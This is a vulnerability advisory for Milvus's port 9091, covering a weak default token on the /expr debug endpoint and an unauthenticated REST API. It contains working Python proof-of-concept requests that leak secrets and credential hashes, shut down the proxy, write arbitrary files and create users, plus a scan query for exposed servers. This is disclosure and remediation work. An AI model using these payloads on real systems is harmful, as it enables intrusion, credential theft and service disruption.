Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise

Summary

Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:

1. The /expr debug endpoint uses a weak, predictable default authentication token derived from etcd.rootPath (default: by-dev), enabling arbitrary expression evaluation.
2. The full REST API (/api/v1/*) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.

Details

Vulnerability 1: Weak Default Authentication on /expr Endpoint

The /expr endpoint on port 9091 accepts an auth parameter that defaults to the etcd.rootPath value (by-dev). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:

• Information/Credential Disclosure: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via param.MinioCfg.SecretAccessKey.GetValue(), rootcoord.meta.GetCredential(ctx, 'root'), etc.
• Denial of Service: Invoking proxy.Stop() to shut down the proxy service.
• Arbitrary File Write (potential RCE): Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem.

Vulnerability 2: Unauthenticated REST API on Metrics Port

Business-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via registerHTTPServer() in internal/distributed/proxy/service.go (line 170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.

An attacker can perform any business operation without credentials, including:

• Creating, listing, and deleting collections
• Inserting and querying data
• Creating, listing, and deleting user credentials
• Modifying user passwords

Proof of Concept

PoC 1 — /expr Endpoint Exploitation

import requests

url = "http://<target>:9091/expr"

# Leak sensitive configuration (e.g., MinIO secret key)
res = requests.get(url, params={
    "auth": "by-dev",
    "code": "param.MinioCfg.SecretAccessKey.GetValue()"
}, timeout=5)
print(res.json().get("output", ""))

# Retrieve hashed credentials for the root user
res = requests.get(url, params={
    "auth": "by-dev",
    "code": "rootcoord.meta.GetCredential(ctx, 'root')"
}, timeout=5)
print(res.json().get("output", ""))

# Denial of Service — stop the proxy
res = requests.get(url, params={
    "auth": "by-dev",
    "code": "proxy.Stop()"
}, timeout=5)

# Arbitrary file write (potential RCE)
for cmd in [
    'param.Save("proxy.accessLog.localPath", "/tmp")',
    'param.Save("proxy.accessLog.formatters.base.format", "whoami")',
    'param.Save("proxy.accessLog.filename", "evil.sh")',
    'querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")'
]:
    requests.get(url, params={"auth": "by-dev", "code": cmd}, timeout=5)

PoC 2 — Unauthenticated REST API Access

import requests

target_url = "http://<target>:9091"

# Create a user without any authentication
res = requests.post(f"{target_url}/api/v1/credential", json={
    "username": "attacker_user",
    "password": "MTIzNDU2Nzg5",
})
print(res.json())

# List all users
res = requests.get(f"{target_url}/api/v1/credential/users")
print(res.json())  # {'status': {}, 'usernames': ['root', 'attacker_user']}

# Create and delete collections, insert data — all without authentication

Internet Exposure

A significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:

http.body="404 page not found" && port="9091"

This indicates the vulnerability is actively exploitable in real-world production environments.

Impact

An unauthenticated remote attacker with network access to port 9091 can:

1. Exfiltrate secrets and credentials — MinIO keys, etcd credentials, user password hashes, and all internal configuration values.
2. Manipulate all data — Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls.
3. Manage user accounts — Create administrative users, reset passwords, and escalate privileges.
4. Cause denial of service — Shut down proxy services, drop databases, or corrupt metadata.
5. Write arbitrary files — Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation.

Remediation

Recommended Fixes

1. Remove or disable the /expr endpoint in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default.
2. Do not register business API routes on the metrics port. Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently.
3. Bind port 9091 to localhost by default (127.0.0.1:9091) so it is not externally accessible unless explicitly configured.
4. Enforce authentication on all API endpoints, regardless of which port they are served on.

User Mitigations (until patched)

• Block external access to port 9091 using firewall rules or network policies.
• If running in Docker/Kubernetes, do not expose port 9091 outside the internal network.
• Change the etcd.rootPath from the default value by-dev to a strong, random value (partial mitigation only — does not address the unauthenticated REST API).

Credit

This vulnerability was discovered and responsibly reported by YingLin Xie ([email protected]). It was independently reported by 0x1f and zznQ (ac0d3r).